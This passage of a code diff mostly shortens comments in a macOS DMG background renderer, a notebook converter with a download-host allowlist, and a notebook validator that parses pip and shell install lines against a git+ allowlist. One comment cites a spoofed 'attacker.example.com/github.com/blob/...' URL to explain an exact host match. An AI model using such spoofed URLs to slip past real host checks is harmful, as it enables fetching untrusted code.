OUTPUT = REPO / "studio/src-tauri/dmg/background.tiff"
-# window geometry in points, mirroring tauri.macos.conf.json
+# Window geometry in points, mirroring tauri.macos.conf.json.
WIN_W, WIN_H = 660, 400
APP_X, APP_Y = 180, 170
APPS_X, APPS_Y = 480, 170
-# the base page renders at 1pt per pixel, the hidpi page at SCALE
SCALE = 2
W, H = WIN_W * SCALE, WIN_H * SCALE
-# Finder's title bar and bottom path bar eat the rest of the window, so only about this much of the image is ever on
-# screen. measured, not derived.
+# Finder's title bar and path bar hide the rest; measured, not derived.
VISIBLE_H = 340
TOP_COLOR = "#FFFFFF"
BOTTOM_COLOR = "#F5F8F7"
-# One brand green fading to a lighter green further out.
GLOW_CORE = "#17B88B"
GLOW_EDGE = "#7BE8A6"
GLOW_EDGE_MIX = 0.45
GLOW_MIX_RADIUS = 110.0
-# strength is the peak tint, sigma sets how far the halo reaches.
GLOW_STRENGTH = 1.48
GLOW_SIGMA = 50.0
-# the icon label sits just below the icon, so the halo is eased off down there.
-# the taper waits until START, which is inside the icon's own lower half, so the
-# disc still reads round and the transition is hidden behind the artwork rather
-# than eating the visible bottom edge. left, right and top keep the full falloff.
+# Ease the halo off below the icon, where the label sits; the taper starts inside the icon.
GLOW_BOTTOM_FLOOR = 0.25
GLOW_BOTTOM_START = 50.0
GLOW_BOTTOM_SPAN = 30.0
-# chevron between the two icons, sized to match the macOS installers this mirrors:
-# a light 16x27pt mark in neutral grey, not a heavy arrow.
+# Sized like the light 16x27pt chevron in other macOS installers.
CHEVRON_HALF_W, CHEVRON_HALF_H = 8.0, 13.5
CHEVRON_STROKE = 6.0
CHEVRON_COLOR = (87, 87, 87, 255)
@@ -96,12 +88,10 @@ def render_glow(canvas: np.ndarray) -> np.ndarray:
radius = np.sqrt((xs - cx) ** 2 + (ys - cy) ** 2)
weight = GLOW_STRENGTH * np.exp(-(radius**2) / (2.0 * sigma**2))
- # smoothstep, so the taper eases in and out with no seam at either end
taper = smoothstep((ys - cy - GLOW_BOTTOM_START * SCALE) / (GLOW_BOTTOM_SPAN * SCALE))
weight = weight * (1.0 - (1.0 - GLOW_BOTTOM_FLOOR) * taper)
- # a peak strength above 1 saturates the core rather than extrapolating past
- # the glow colour. that core sits under the app icon either way.
+ # A peak strength above 1 saturates the core rather than extrapolating past the glow colour.
weight = np.clip(weight, 0.0, 1.0)[..., None]
mix = (GLOW_EDGE_MIX * smoothstep(radius / (GLOW_MIX_RADIUS * SCALE)))[..., None]
@@ -143,11 +133,9 @@ def build() -> Image.Image:
def report() -> None:
"""Print how the halo sits relative to the icon and its label."""
base = base_canvas()
- # the halo on its own, with the base gradient taken back out so the vertical ramp does not read as part of it
halo = np.clip(base - render_glow(base), 0.0, None).max(axis = 2)
cx, cy = APP_X * SCALE, APP_Y * SCALE
- # 60pt is the disc a viewer reads as round, 90pt is out in the label's row
for distance in (60, 90):
for name, sample in (
("left", halo[cy, cx - distance * SCALE]),
diff --git a/scripts/notebook_to_python.py b/scripts/notebook_to_python.py
index 7b176f87c74..a75a3acc32b 100644
--- a/scripts/notebook_to_python.py
+++ b/scripts/notebook_to_python.py
@@ -21,7 +21,6 @@ import urllib.parse
from pathlib import Path
-# Allowlist of hosts for raw notebook fetches; anything else rejected before urlopen.
_ALLOWED_NOTEBOOK_HOSTS = {
"raw.githubusercontent.com",
"gist.githubusercontent.com",
@@ -40,7 +39,7 @@ def needs_fstring(cmd: str) -> bool:
def github_blob_to_raw(url: str) -> str:
"""Convert GitHub blob URL to raw URL."""
- # github.com/user/repo/blob/branch/path -> raw.githubusercontent.com/user/repo/branch/path. Exact host match, not substring, so attacker.example.com/github.com/blob/... is not rewritten.
+ # Exact host match, not substring, so attacker.example.com/github.com/blob/... is not rewritten.
parsed = urllib.parse.urlparse(url)
if parsed.netloc != "github.com" or "/blob/" not in parsed.path:
return url
@@ -57,7 +56,6 @@ def download_notebook(url: str) -> tuple[str, str]:
parsed = urllib.parse.urlparse(raw_url)
filename = os.path.basename(urllib.parse.unquote(parsed.path))
- # Host allowlist: refuse to fetch from anything we don't recognise.
host = parsed.hostname
if host not in _ALLOWED_NOTEBOOK_HOSTS:
raise ValueError(
@@ -181,7 +179,7 @@ def convert_notebook(
allow_shell: bool = True,
) -> str:
"""Convert notebook JSON content to Python script."""
- # Local, so the string helpers below import without nbformat: the CPU test job does not install it, and a module-level import failed collection there.
+ # Local import: the CPU test job does not install nbformat.
import nbformat
if isinstance(notebook_content, str):
@@ -227,7 +225,6 @@ def convert_notebook(
lines.append(f"# {line}")
lines.append("")
- # Add package restoration at the end
lines.extend(
[
"",
@@ -320,7 +317,6 @@ Examples:
os.makedirs(args.output_dir, exist_ok = True)
- # Track per-notebook failures; continue the loop and exit 1 if any failed.
failures: list[tuple[str, str]] = []
ok = 0
total = len(args.notebooks)
diff --git a/scripts/notebook_validator.py b/scripts/notebook_validator.py
index 82bc1256475..f385480bf21 100644
--- a/scripts/notebook_validator.py
+++ b/scripts/notebook_validator.py
@@ -80,22 +80,17 @@ COLAB_PIP_FREEZE_URL = (
)
COLAB_FALLBACK_FILE = DATA_DIR / "colab_pip_freeze.gpu.txt"
-# Oracle files snapshotted from googlecolab/backend-info; colab-diff reports NEW/REMOVED/CHANGED, so a base image rotation reaches CI within ~24h.
-# The image's Python, from the os-info oracle. Markers only, so an unreadable snapshot just
-# replays every requirement.
+# The image's Python, from the os-info oracle; an unreadable snapshot replays every requirement.
_COLAB_OS_INFO_FILE = DATA_DIR / "colab_os_info.gpu.txt"
-# The prerelease suffix is part of the version: pip skips `python_full_version >= "3.13.0"`
-# on 3.13.0rc1, and truncating to 3.13.0 replayed requirements the image never installs.
+# Keep the prerelease suffix: pip skips `python_full_version >= "3.13.0"` on 3.13.0rc1.
_COLAB_PYTHON_RE = re.compile(
r"^Python\s+(\d+(?:\.\d+)*(?:(?:a|b|rc)\d+)?(?:\.post\d+)?(?:\.dev\d+)?)",
re.MULTILINE,
)
-# The numeric release at the front of one, which is what `python_version` names.
_PYTHON_RELEASE_RE = re.compile(r"\d+(?:\.\d+)*")
-# Follows `lint --colab-pin` so the Python version and the package snapshot come from the
-# SAME capture; otherwise markers are judged against a different image's interpreter.
+# Follows `lint --colab-pin` so Python version and package snapshot come from the same capture.
_COLAB_ORACLE_DIR: pathlib.Path = DATA_DIR
@@ -132,14 +127,12 @@ def _marker_environment(colab: dict[str, str]) -> dict[str, str] | None:
"platform_system": "Linux",
"platform_machine": "x86_64",
"os_name": "posix",
- # A top-level requirement selects no extra, so `extra` is empty and any
- # `extra == "..."` marker is false. Omitting it replayed requirements pip ignores.
+ # A top-level requirement selects no extra, so `extra == "..."` markers are false.
"extra": "",
}
-# `Marker.evaluate` fills any omitted field from the RUNNING process, so a marker naming one
-# of these would be judged against this machine and the answer would move between runners.
+# Marker.evaluate fills omitted fields from the running process, so pin them all here.
_MARKER_VARIABLES = frozenset(
{
"os_name",
@@ -224,7 +217,6 @@ def _marker_truth(text: str, environment: dict[str, str]) -> bool | None:
terms, operators = _split_marker(text)
if len(terms) > 1:
values = [_marker_truth(term, environment) for term in terms]
- # `and` binds tighter than `or`, so the conjunctions fold first.
groups: list[list[bool | None]] = [[values[0]]]
for operator, value in zip(operators, values[1:]):
if operator == "and":
@@ -256,15 +248,12 @@ COLAB_ORACLE_FILES: dict[str, str] = {
"apt-list-gpu.txt": "colab_apt_list.gpu.txt",
"os-info-gpu.txt": "colab_os_info.gpu.txt",
}
-# The pip oracle fails --strict, since the rules resolve against it. os-info is rule-bearing too (its Python line), so both refresh together and COLAB_STRICT_ORACLE_KEYS makes that one line strict. The rest is advisory: an Ubuntu bump nothing consults must not redden CI.
+# The pip oracle and the os-info Python line are strict; other oracle drift is advisory.
COLAB_STRICT_ORACLE = "pip-freeze.gpu.txt"
-# Keys within a non-strict oracle that are rule-bearing anyway. `python` is the one
-# _parse_os_lines emits for the "Python 3.13.15" line.
COLAB_STRICT_ORACLE_KEYS: dict[str, frozenset[str]] = {
"os-info-gpu.txt": frozenset({"python"}),
}
COLAB_ORACLE_BASE_URL = "https://raw.githubusercontent.com/googlecolab/backend-info/main/"
-
# ----- Compat tables. PRs add rows as new releases land. ----- #
# Lockstep rows only: torchcodec 0.12+ is ABI-stable against torch >=2.11 and is handled by
@@ -272,8 +261,7 @@ COLAB_ORACLE_BASE_URL = "https://raw.githubusercontent.com/googlecolab/backend-i
TORCHCODEC_ABI_STABLE_TORCH = "2.11"
TORCHCODEC_ABI_STABLE_CODEC = "0.12"
-# torch.minor -> set of compatible torchcodec.minor strings.
-# Source: pytorch/torchcodec compatibility matrix on its README.
+# torch.minor -> compatible torchcodec minors, from the torchcodec README matrix.
# Mirrors import_fixes._TORCH_TORCHCODEC_MINORS (test_torchcodec_torch_compat asserts equality).
TORCH_TORCHCODEC: dict[str, set[str]] = {
"2.11": {"0.11"},
@@ -285,12 +273,10 @@ TORCH_TORCHCODEC: dict[str, set[str]] = {
"2.5": {"0.1"},
}
-# When peft >= trigger is on the resolved set, torchao >= floor must also be.
PEFT_TORCHAO_FLOOR: list[dict[str, str]] = [
{"trigger_peft": "0.19", "torchao_floor": "0.16.0"},
]
-# git+ allowlist: install lines that legitimately fetch from GitHub. Anything else flags R-INST-001.
GIT_PLUS_ALLOWLIST = (
"github.com/SparkAudio/Spark-TTS",
"github.com/state-spaces/mamba",
@@ -298,7 +284,6 @@ GIT_PLUS_ALLOWLIST = (
"github.com/unslothai/unsloth-zoo",
"github.com/unslothai/unsloth",
)
-
# ----- Findings ----- #
@@ -359,9 +344,7 @@ def code_cells(nb: dict[str, Any]) -> list[tuple[int, str]]:
return out
-# A shell line that runs pip. Anchored on `!` so a `pip install` inside a Python string is not
-# a cell, open after it so chained and compound commands are. `-mpip` counts too: `\b` finds no
-# boundary between the `m` and the `p`, so those cells went undiscovered.
+# Anchored on `!` so a pip string in Python is not a cell; `-mpip` counts (no \b before p).
_PIP_CELL_RE = re.compile(
r"^[ \t]*!.*(?:\b(?:uv\s+)?pip|-m(?:uv\s+)?pip)\s+(?:install|uninstall)\b",
re.MULTILINE,
@@ -376,14 +359,13 @@ def install_cells(nb: dict[str, Any]) -> list[tuple[int, str]]:
if first and first[0].strip().startswith("%%capture"):
out.append((i, src))
continue
- # Glued, since a `\\` continuation can put the `!` and the pip call on different
- # physical lines.
+ # Glued, since a `\` continuation can split the `!` from the pip call.
if any(_PIP_CELL_RE.search(line) for _, line in _glue_line_continuations(src)):
out.append((i, src))
return out
-# Colab oracle only applies to notebooks that run on Colab; AMD, Kaggle, DGX-Spark have their own preinstalls and the Colab-vs-cell rules don't apply.
+# The Colab oracle applies only to notebooks that run on Colab.
def target_environment(notebook_name: str) -> str:
parts = pathlib.PurePath(notebook_name).parts
base = parts[-1] if parts else notebook_name
@@ -428,8 +410,7 @@ def version_minor(v: str) -> str:
return ".".join(parts[:2]) if len(parts) >= 2 else parts[0]
-# `1.2.3rc1`, `1.2.3.dev0`, `1.2.3a2`, `1.2.3b1`: PEP 440 orders every one of these BELOW the
-# plain `1.2.3` they lead up to.
+# PEP 440 orders every one of these below the plain release.
_PRERELEASE_RE = re.compile(r"(?:a|b|c|rc|alpha|beta|pre|preview|dev)\d*$", re.IGNORECASE)
@@ -456,8 +437,7 @@ def at_least(version: str, floor: str) -> bool:
Dotted digits alone read `2.11.0rc1` as 2.11.0.1, above `2.11`, which approved a pairing
outside the ABI-stable contract."""
- # The suffix goes before the digits are read, or `2.11.0rc1` compares as 2.11.0.1 and
- # sorts ABOVE 2.11 on the strength of its prerelease number.
+ # Split the suffix first, or 2.11.0rc1 compares as 2.11.0.1.
core, prerelease = _split_prerelease(version)
order = cmp_versions(core, floor)
if order != 0:
@@ -465,8 +445,6 @@ def at_least(version: str, floor: str) -> bool:
return not prerelease
-# PEP 440 orders `dev` < `a` < `b` < `rc`, all below the release; `c`, `alpha`, `beta` and
-# `pre`/`preview` normalize into that same order.
_PRERELEASE_ORDER = {
"dev": 0,
"a": 1,
@@ -504,13 +482,11 @@ def cmp_versions(a: str, b: str) -> int:
return tuple(int(x) for x in re.findall(r"\d+", normalise_version(_split_prerelease(v)[0])))
ta, tb = to_tuple(a), to_tuple(b)
- # PEP 440 zero-pads the shorter release, so `0.11` == `0.11.0`. Raw tuples sorted `0.11`
- # BELOW `0.11.0`, discarding a ceiling-derived minor when the floor spelled its patch.
+ # PEP 440 zero-pads the shorter release, so 0.11 == 0.11.0.
width = max(len(ta), len(tb))
ta = ta + (0,) * (width - len(ta))
tb = tb + (0,) * (width - len(tb))
- # The suffix decides only a tie on the release core: `0.12.0rc1` sits below `0.12.0` and
- # above `0.11.9`, which reading its digits as another component got backwards.
+ # The suffix only breaks a tie on the release core.
ka, kb = ta + _prerelease_key(a), tb + _prerelease_key(b)
if ka < kb:
return -1
@@ -533,9 +509,7 @@ class PipInvocation:
conditional: bool = False # the fallback side of an `||`: runs only if the left failed
-# `python -m pip` parses as bare `pip`, or a matched cell yields nothing and R-INST-001 misses
-# a `git+` install. In step with unsloth_nb_pip_magic.py::_PY_M_PIP; the braced and path forms
-# are matched too, since transformers see the raw text before IPython expands it.
+# `python -m pip` parses as bare pip; in step with unsloth_nb_pip_magic.py::_PY_M_PIP.
_INTERPRETER_RE = r"""(?:
(?:python[0-9.]*|py)
| ["']?\{\s*sys\.executable\s*\}["']?
@@ -543,24 +517,14 @@ _INTERPRETER_RE = r"""(?:
| '(?:[^']*[/\\])python[0-9.]*(?:\.exe)?'
| \S*[/\\]python[0-9.]*(?:\.exe)?
)"""
-# `-m uv pip` as well as `-m pip`: unsloth_nb_pip_magic rewrites `(pip|uv)` after the
-# module flag, and uv's pip-compatible interface really is spelled `uv pip <action>`.
+# `-m uv pip` too: unsloth_nb_pip_magic rewrites `(pip|uv)` after the module flag.
PIP_LINE_RE = re.compile(
- # `python [option] ... [-m mod ...]`: interpreter options may sit before `-m`, and without
- # them `python -I -m pip install git+...` matched nothing. Options only, or a script path
- # would read as the module flag.
- # `!\s*!` for bash's negation and IPython's `!!` capture: `! ! pip install git+...` still
- # runs pip, and requiring exactly one leading bang matched nothing.
+ # Interpreter options may precede -m. `!\s*!` covers bash negation and IPython `!!`.
r"^\s*!(?:\s*!)*\s*(?P<tool>(?:uv\s+)?pip|"
+ _INTERPRETER_RE
- # `-W arg` and `-X opt` take an operand, attached or separate, so requiring every intervening
- # word to start with `-` missed `python -W ignore -m pip ...`. The operand form is tried first.
- # `-h`, `-V` and `-?` print and exit, and `-c cmd` "terminates option list", so nothing behind
- # them is an interpreter option: `python -V -m pip install git+...` only reports the version.
- # The long spellings never matched this arm, which requires a letter after the dash.
+ # -W/-X take an operand; -h, -V, -? and -c end option parsing, so nothing after is an option.
+ r"(?:\s+-[WX]\s*\S+|\s+--check-hash-based-pycs\s+\S+|\s+-(?![hVc?])[A-Za-z]\w*)*"
- # `-m mod` may be written attached: `python -mpip install ...` runs pip, and requiring a
- # separate word after `-m` missed it in both this pattern and cell discovery.
+ # `-m` may be attached: `python -mpip`.
+ r"\s+-m\s*(?:uv\s+)?pip)\s+"
r"(?P<action>install|uninstall)\b(?P<rest>.*)$",
re.IGNORECASE | re.VERBOSE,
@@ -585,16 +549,13 @@ def parse_pip_line(line: str, line_no: int = 0) -> PipInvocation | None:
m = PIP_LINE_RE.match(line)
if not m:
return None
- # `uv pip` and `python -m uv pip` are both uv; a plain `python3 -m pip` is not, and
- # must not be read as uv because "uv" appears somewhere in the interpreter path.
+ # Do not read a plain `python3 -m pip` as uv because "uv" appears in the interpreter path.
tool = "uv-pip" if re.search(r"(?:^|\s)uv\s+pip\b", m.group("tool"), re.IGNORECASE) else "pip"
rest = m.group("rest")
- # Strip trailing comment.
rest = re.split(r"(?<!\S)#", rest, maxsplit = 1)[0]
try:
tokens = shlex.split(rest, posix = True)
except ValueError:
- # f-string interpolation like {xformers}: replace braces with placeholders.
rest_safe = re.sub(r"\{[^}]+\}", "PLACEHOLDER", rest)
try:
tokens = shlex.split(rest_safe, posix = True)
@@ -646,35 +607,23 @@ def _glue_line_continuations(text: str) -> list[tuple[int, str]]:
return out
-# Words introducing a compound command. A pip call behind one still runs, so it has to parse;
-# `if pip install ...` is the test and is reached whenever the line is, while a `then` or `do`
-# body runs only if that test said so.
-# Words that run the command after them rather than being it, so `env FOO=1 pip install ...`
-# installs as the bare form does. No `builtin`: `builtin pip ...` is not a shell builtin and
-# runs nothing. `time` is bash's reserved word; only an explicit path reaches the GNU binary.
+# Exec prefixes run the command after them (`env FOO=1 pip ...`). Bare `time` is bash's reserved
+# word; only an explicit path reaches GNU time.
_GNU_TIME = "/usr/bin/time"
_SHELL_EXEC_PREFIXES = frozenset({"command", "env", "exec", "nohup", "time", "sudo", _GNU_TIME})
-# The subset bash resolves in-process. Everything else here is an external program, and an
-# `exec` behind one is an argument to it rather than the builtin.
+# Resolved in-process by bash; after any other prefix, `exec` is just an argument.
_SHELL_RESOLVED_PREFIXES = frozenset({"command", "exec", "time"})
-# External programs, so an absolute path names the same one. Not `time`: the reserved word and
-# `/usr/bin/time` take different options, which `_GNU_TIME` already tells apart.
+# External programs, so an absolute path names the same one.
_PATH_QUALIFIED_PREFIXES = frozenset({"env", "nohup", "sudo"})
-# Options that make a prefix report something and exit instead of running its operands.
_PREFIX_TERMINAL_FLAGS = frozenset({"--help", "--version"})
-# Per prefix, the options that turn it into a lookup rather than an execution. sudo(8) has
-# `-v/--validate` "without running a command" and `-l/--list`, which displays a path; unwrapping
-# past either fabricated an install from a line that never reaches pip.
+# Options that turn a prefix into a lookup rather than an execution (validate, list).
_PREFIX_LOOKUP_FLAGS: dict[str, frozenset[str]] = {
"command": frozenset({"-v", "-V"}),
"sudo": frozenset({"-v", "--validate", "-l", "--list", "-V", "-h"}),
}
-# `PATH+=:/opt/bin cmd` is an assignment prefix too: bash runs the child with the appended
-# value, so leaving the `+=` word standing made it the supposed executable.
+# `PATH+=:/opt/bin cmd` is an assignment prefix too.
_ENV_ASSIGNMENT_RE = re.compile(r"^[A-Za-z_]\w*\+?=")
-# Per prefix, the options taking a SEPARATE operand; everything else starting with `-` is a
-# lone flag and `--` ends them. In `env -u pip pip install ...` the first `pip` is the variable
-# being unset. env's split-string operand is the command it runs, not a value to discard.
+# Options taking a separate operand; env's split-string operand is the command it runs.
_ENV_SPLIT_STRING_FLAGS = frozenset({"-S", "--split-string"})
@@ -708,8 +657,6 @@ _PREFIX_OPERAND_FLAGS: dict[str, frozenset[str]] = {
"--other-user",
"-h",
"--host",
- # sudo(8): `-D`/`--chdir`, `-R`/`--chroot`, `-T`/`--command-timeout`. Missing them left the
- # operand standing as the supposed executable.
"-D",
"--chdir",
"-R",
@@ -719,9 +666,7 @@ _PREFIX_OPERAND_FLAGS: dict[str, frozenset[str]] = {
}
),
"exec": frozenset({"-a"}),
- # Bare `time` is bash's reserved word, `time [-p] pipeline`: it takes none of GNU time's
- # options, so `time -f %e pip install ...` runs a command named `-f`. The GNU binary keeps its
- # own entry, reached only through an explicit path.
+ # Bash's reserved `time` takes none of GNU time's options.
"time": frozenset(),
_GNU_TIME: frozenset({"-f", "--format", "-o", "--output"}),
"command": frozenset(),
@@ -743,12 +688,9 @@ def _split_first_word(text: str) -> tuple[str, str]:
word: list[str] = []
quote = ""
depth = 0 # open `$(` nesting
- # Open `${ }` expansions. bash keeps `TOKEN=${TOKEN:-a b}` as ONE assignment word, and
- # tracking only `$(` ended the word at that space, leaving `b}` as the executable.
+ # Track `${ }` too: bash keeps `TOKEN=${TOKEN:-a b}` as one word.
brace = 0
- # A `case` arm's pattern ends in an UNBALANCED `)`, so inside an open case that `)` delimits
- # the arm rather than closing the substitution. Popping on it truncated the assignment word in
- # `TOKEN=$(case x in x) printf a;; esac) pip install ...` and made the install look conditional.
+ # Inside an open case an unbalanced `)` ends the arm pattern, not the substitution.
case_depth = 0
backtick = False
while index < length:
@@ -765,7 +707,6 @@ def _split_first_word(text: str) -> tuple[str, str]:
index += 1
word.append(text[index])
elif backtick:
- # Only an unescaped backtick closes it; the escape above already consumed `\``.
if ch == "`":
backtick = False
word.append(ch)
@@ -776,8 +717,7 @@ def _split_first_word(text: str) -> tuple[str, str]:
brace -= 1
word.append(ch)
elif depth:
- # A substitution's own whitespace and quotes belong to the word: ending it at the space in
- # `TOKEN=$(printf '%s' 'a b') pip install ...` left `'%s'` as the supposed executable.
+ # A substitution's whitespace and quotes belong to the word.
if ch in "'\"":
quote = ch
elif ch == "(":
@@ -833,8 +773,7 @@ def _strip_exec_prefixes(text: str, seen: list[str] | None = None) -> tuple[str,
text = rest
continue
if _REDIRECTION_RE.match(word):
- # A redirection may sit before the command name: `>/tmp/log pip install ...` runs pip, and
- # stopping here left the redirection standing as the executable.
+ # A redirection may precede the command name.
prefixed = True
text = _split_first_word(rest)[1] if _REDIRECTION_RE.fullmatch(word) else rest
continue
@@ -842,9 +781,7 @@ def _strip_exec_prefixes(text: str, seen: list[str] | None = None) -> tuple[str,
if name.endswith("/time"):
name = _GNU_TIME # an explicit path runs the BINARY, which takes GNU's options
elif "/" in name and name.rsplit("/", 1)[1] in _PATH_QUALIFIED_PREFIXES:
- # `/usr/bin/env pip install ...` runs pip as the bare form does, and stopping at the path left
- # the install invisible. Only the external programs: `command` and `exec` are builtins, so a
- # path spelling of either names some other file.
+ # Path-qualified external prefixes only; command and exec are builtins.
name = name.rsplit("/", 1)[1]
if name not in _SHELL_EXEC_PREFIXES:
break
@@ -860,8 +797,7 @@ def _strip_exec_prefixes(text: str, seen: list[str] | None = None) -> tuple[str,
if token == "-" or not token.startswith("-"):
break
if name == "env" and token.startswith("-S") and len(token) > 2:
- # `-S, --split-string=S` takes a MANDATORY operand, so the attached `env -S'pip install' pkg`
- # is valid and runs pip; exact membership missed it.
+ # env -S takes a mandatory operand, so an attached `-S'pip install'` is valid.
raw = rest[: len(rest) - len(tail)].strip()
rest = f"{_env_split_string(raw[2:])} {tail}".strip()
break
@@ -872,17 +808,13 @@ def _strip_exec_prefixes(text: str, seen: list[str] | None = None) -> tuple[str,
if token in _PREFIX_TERMINAL_FLAGS or token in _PREFIX_LOOKUP_FLAGS.get(
name, frozenset()
):
- # `env --help pip install ...` prints help and exits, and `command -v pip` only reports a
- # path; unwrapping past either fabricated an install.
+ # `env --help` and `command -v` do not run their operands.
return text, prefixed
if "=" in token and token.startswith("--"):
rest = tail # `--unset=NAME` carries its operand inline
continue
if name == "env" and token in _ENV_SPLIT_STRING_FLAGS:
- # GNU env's `-S, --split-string=S` operand IS the command, so consuming it the way `-u NAME`
- # is consumed left nothing to parse. Unquoted, since env splits on unquoted whitespace.
- # `env -S'cmd args' [ARG]...` appends the following ARGs to the split string, which is how
- # `#!/usr/bin/env -S perl -w` reaches `perl -w script.pl`; dropping them lost the packages.
+ # env -S's operand is the command; following ARGs are appended to it.
trailing = _split_first_word(tail)[1]
raw = tail[: len(tail) - len(trailing)]
rest = f"{_env_split_string(raw)} {trailing}".strip()
@@ -895,7 +827,6 @@ def _strip_exec_prefixes(text: str, seen: list[str] | None = None) -> tuple[str,
return text, prefixed
-# A bare shell word, used to spot `case` / `esac` while scanning a substitution body.
_LEADING_WORD_RE = re.compile(r"[A-Za-z_]\w*")
_SHELL_TEST_KEYWORDS = frozenset({"if", "while", "until", "for", "case"})
_SHELL_BODY_KEYWORDS = frozenset({"then", "elif", "else", "do"})
@@ -931,9 +862,7 @@ def _unquoted_arm_close(text: str) -> int | None:
if depth:
depth -= 1
elif opened:
- # A `(` opened and closed before this bracket, so the text starts with a substitution rather
- # than an arm label, and reading the trailing `)` as an arm close marked the install
- # conditional.
+ # A `(` closed before this bracket means a substitution, not an arm label.
return None
elif index:
return index
@@ -980,9 +909,7 @@ def _final_bracket_closes_substitution(text: str) -> bool:
return False
-# `name() {`, `name () {` and `function name {`. The parens must be EMPTY, so `time (pip
-# install x)` is not a definition. A body runs only when called, so it is exposed as
-# conditional.
+# Function headers need empty parens; a body runs only when called, so it is conditional.
_FUNCTION_NAME_RE = re.compile(r"(?:function\s+)?[A-Za-z_]\w*")
_FUNCTION_DEF_RE = re.compile(
r"(?:function\s+[A-Za-z_]\w*\s*(?:\(\s*\))?|[A-Za-z_]\w*\s*\(\s*\))\s*"
@@ -997,18 +924,12 @@ def _unwrap_shell_group(command: str) -> tuple[str, bool]:
pip install ...` is the test and is reached whenever the line is."""
stripped = command.strip()
bang = stripped.startswith("!")
- # Bash's negation is a reserved WORD, so `! false` inverts the status while `!false` names a
- # command; collapsing the space made the two identical.
+ # `! false` negates while `!false` names a command.
spaced = bang and stripped[1:2].isspace()
if bang:
stripped = stripped[1:].lstrip()
- # A grouping bracket is noise, but the `)` closing a `$( )` belongs to the command: a bare
- # rstrip(")}") left `echo $(pip install ...` unreadable. A lone `}` from a group spanning a
- # separator still strips.
- # `{` opens a group only as its OWN token, so `{ pip install x; }` is a group while IPython's
- # `{sys.executable}` is one word and stripping it hid the pip command. `(` needs no such space.
- # `setup() { pip install git+... ; }` keeps its name in front of the body, hiding the install
- # from PIP_LINE_RE. Strip the header and let the group handling below read the body.
+ # Keep the `)` that closes a `$( )`; `{` opens a group only as its own token ({sys.executable}
+ # is one word). Strip a function header so the body is read.
definition = _FUNCTION_DEF_RE.match(stripped)
if definition is not None:
stripped = stripped[definition.end() :].lstrip()
@@ -1028,38 +949,31 @@ def _unwrap_shell_group(command: str) -> tuple[str, bool]:
stripped = stripped[:-1].rstrip()
conditional = definition is not None # the body runs only when the function is called
while True:
- # Any whitespace, not a literal space: `then\tpip install ...` is the same command to
- # the shell, and leaving `then\tpip` as one word hides it from every rule.
+ # Any whitespace: `then\tpip` is the same command to the shell.
parts = stripped.split(maxsplit = 1)
if not parts or parts[0].lower() not in _SHELL_KEYWORDS:
break
conditional = conditional or parts[0].lower() in _SHELL_BODY_KEYWORDS
- # A keyword can sit in front of a group: `if (pip install ...); then` exposes the `(`
- # only once `if` comes off, and leaving it there hid the install from PIP_LINE_RE.
+ # A keyword can precede a group: `if (pip install ...); then`.
stripped = _open_groups(parts[1].strip()) if len(parts) > 1 else ""
- # And in front of a DEFINITION: `then f(){ pip install ...; }` matched no header with `then`
- # still there. A definition's body is conditional however it was reached.
+ # Or a definition: `then f(){ pip install ...; }`.
behind = _FUNCTION_DEF_RE.match(stripped)
if behind is not None:
definition = behind
conditional = True
stripped = _open_groups(stripped[behind.end() :].lstrip())
- # A `case` arm label, quoted or bare. Only the matching arm runs, so the command is
- # conditional. The label ends at the first unquoted `)` with nothing open before it.
+ # A case arm label: only the matching arm runs, so the command is conditional.
close = _unquoted_arm_close(stripped)
if close is not None:
stripped = stripped[close + 1 :].strip()
conditional = True
- # `env -u VAR pip install ...`, `nohup pip ...`, `A=1 pip ...`: each prefix's options and
- # operands are consumed positionally, so the executable is whatever word survives.
stripped, _prefixed = _strip_exec_prefixes(stripped)
if not (bang and stripped):
return stripped, conditional
return (f"! {stripped}" if spaced else f"!{stripped}"), conditional
-# `${name:-word}` and friends expand the word only on the branch the parameter's state
-# selects, so a substitution inside one is conditional. `${name}` opens no branch.
+# `${name:-word}` expands word only on one branch, so substitutions in it are conditional.
_CONDITIONAL_EXPANSION_RE = re.compile(r"\$\{[A-Za-z_]\w*(?:\[[^\]]*\])?:?[-+=?]")
@@ -1071,8 +985,7 @@ def _conditional_expansion_spans(command: str) -> list[tuple[int, int]]:
quote = ""
while j < len(command) and depth:
ch = command[j]
- # `\}` and `'}'` are literal text in the default word, not the closer; counting them ended the
- # span early and read a later `$( )` as unconditional.
+ # `\}` and `'}'` are literal text in the default word, not the closer.
if ch == "\\" and quote != "'" and j + 1 < len(command):
j += 2
continue
@@ -1126,8 +1039,7 @@ def _substitution_bodies(command: str, conditional: bool = False) -> list[str]:
if opens:
depth, j = 1, i + 2
inner_quote = ""
- # Inside an open case the `)` in `$(case x in x) pip install ...;; esac)` delimits the arm
- # rather than closing the substitution, and popping on it ended the body at `x)`.
+ # Inside an open case the `)` delimits the arm rather than closing the substitution.
case_depth = 0
while j < len(command) and depth:
inner = command[j]
@@ -1156,8 +1068,7 @@ def _substitution_bodies(command: str, conditional: bool = False) -> list[str]:
bodies.append(command[i + 2 : j - 1 if depth == 0 else j])
i = j
elif ch == "`":
- # The first UNESCAPED backtick closes it: a legacy nested substitution writes its inner
- # delimiters `\\`` so they do not close the outer one, and `find` stopped at the escape.
+ # The first unescaped backtick closes it; nested ones are written escaped.
j = i + 1
while j < len(command):
if command[j] == "\\":
@@ -1168,8 +1079,7 @@ def _substitution_bodies(command: str, conditional: bool = False) -> list[str]:
j += 1
if j >= len(command):
break
- # Unescape before recording it: inside backticks the shell strips one level, and without that
- # the nested substitution never opens.
+ # Unescape one level, as the shell does inside backticks.
if in_branch(i) == conditional:
bodies.append(command[i + 1 : j].replace("\\`", "`").replace("\\\\", "\\"))
i = j + 1
@@ -1181,15 +1091,12 @@ def _substitution_bodies(command: str, conditional: bool = False) -> list[str]:
def _piece_is_pip(piece: str) -> bool:
"""Is this chunk of a chained line a pip command? `!` only ever leads the first piece,
and the splitter re-adds it to the rest, so it is normalised before asking."""
- # The bang first: `_strip_exec_prefixes` reads words, and `!env` glued together matched no
- # prefix name, so `!env X=1 pip install ...` did not read as pip.
+ # Strip the bang first so `!env X=1 pip ...` matches the env prefix.
stripped = _strip_exec_prefixes(piece.strip().lstrip("!").strip())[0].strip()
return bool(stripped) and bool(PIP_LINE_RE.match("!" + stripped))
-# A redirection operator, optionally with its fd and its target attached (`2>&1`, `>/x`).
_REDIRECTION_RE = re.compile(r"^\d*(?:>>|>&|&>|<<<|<<|<>|>|<)")
-# `exec`'s own options. `-a` names the argv[0] to pass on and takes an operand.
_EXEC_LONE_FLAGS = frozenset({"-c", "-l"})
